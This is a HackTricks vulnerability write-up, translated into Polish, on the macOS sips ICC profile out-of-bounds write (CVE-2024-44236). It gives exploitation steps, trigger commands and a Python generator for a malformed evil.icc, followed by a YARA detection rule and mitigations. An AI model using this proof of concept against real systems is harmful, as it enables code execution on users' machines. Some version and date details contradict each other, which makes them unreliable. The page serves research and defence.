WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
Wrażliwość zero-write poza granicami w parserze profilu ICC Scriptable Image Processing System (sips
) w Apple macOS (macOS 15.0.1, sips-307
) pozwala atakującemu na uszkodzenie metadanych sterty i przekształcenie prymitywu w pełne wykonanie kodu. Błąd znajduje się w obsłudze pola offsetToCLUT
tagów lutAToBType
(mAB
) i lutBToAType
(mBA
). Jeśli atakujący ustawi offsetToCLUT == tagDataSize
, parser usuwa 16 bajtów poza końcem bufora sterty. Spraying sterty pozwala atakującemu na wyzerowanie struktur alokatora lub wskaźników C++, które później będą dereferencjonowane, co prowadzi do łańcucha arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).
Apple naprawił błąd w macOS Sonoma 15.2 / Ventura 14.7.1 (30 października 2024). Druga wariant (CVE-2025-24185) został naprawiony w macOS 15.5 i iOS/iPadOS 18.5 1 kwietnia 2025.
Wrażliwy kod
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Kroki Eksploatacji
- Stwórz złośliwy profil
.icc
- Ustaw minimalny nagłówek ICC (
acsp
) i dodaj jeden tagmAB
(lubmBA
). - Skonfiguruj tabelę tagów tak, aby
offsetToCLUT
równał się rozmiarowi tagu (tagDataSize
). - Umieść dane kontrolowane przez atakującego tuż po tagu, aby 16 zerowych zapisów nakładało się na metadane alokatora.
- Wywołaj analizę za pomocą dowolnej operacji sips, która dotyka profilu
# ścieżka weryfikacji (plik wyjściowy nie jest potrzebny)
sips --verifyColor evil.icc
# lub niejawnie podczas konwertowania obrazów, które osadzają profil
sips -s format png payload.jpg --out out.png
- Uszkodzenie metadanych sterty ➜ dowolny zapis ➜ ROP
W domyślnym alokatorze
nano_zone
firmy Apple, metadane dla slotów 16-bajtowych znajdują się bezpośrednio po wyrównanym bloku 0x1000. Umieszczając tag profilu na końcu takiego bloku, 16 zerowych zapisów nadpisujemeta->slot_B
. Po kolejnej operacjifree
, zatruty wskaźnik jest dodawany do małej listy wolnych, co pozwala atakującemu alokować fałszywy obiekt pod dowolnym adresem i nadpisać wskaźnik vtable C++, używany przez sips, ostatecznie przekierowując wykonanie do łańcucha ROP przechowywanego w złośliwym buforze ICC.
Szybki generator PoC (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Reguła wykrywania YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Wpływ
Otwieranie lub przetwarzanie spreparowanego profilu ICC prowadzi do zdalnego wykonania dowolnego kodu w kontekście wywołującego użytkownika (Podgląd, QuickLook, renderowanie obrazów w Safari, załączniki w Mailu itp.), omijając Gatekeeper, ponieważ profil może być osadzony w innych, pozornie nieszkodliwych obrazach (PNG/JPEG/TIFF).
Wykrywanie i łagodzenie
- Poprawka! Upewnij się, że host działa na macOS ≥ 15.2 / 14.7.1 (lub iOS/iPadOS ≥ 18.1).
- Wdróż powyższą regułę YARA na bramkach e-mailowych i rozwiązaniach EDR.
- Usuń lub oczyść osadzone profile ICC za pomocą
exiftool -icc_profile= -overwrite_original <file>
przed dalszym przetwarzaniem na nieufnych plikach. - Wzmocnij Podgląd/QuickLook, uruchamiając je w piaskownicowych maszynach wirtualnych „przezroczystości i modernizacji” podczas analizy nieznanej zawartości.
- W przypadku DFIR, szukaj niedawnego wykonania
sips --verifyColor
lub ładowania bibliotekiColorSync
przez aplikacje w piaskownicy w zjednoczonym dzienniku.
Odniesienia
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple security updates HT213981 “O zawartości zabezpieczeń macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.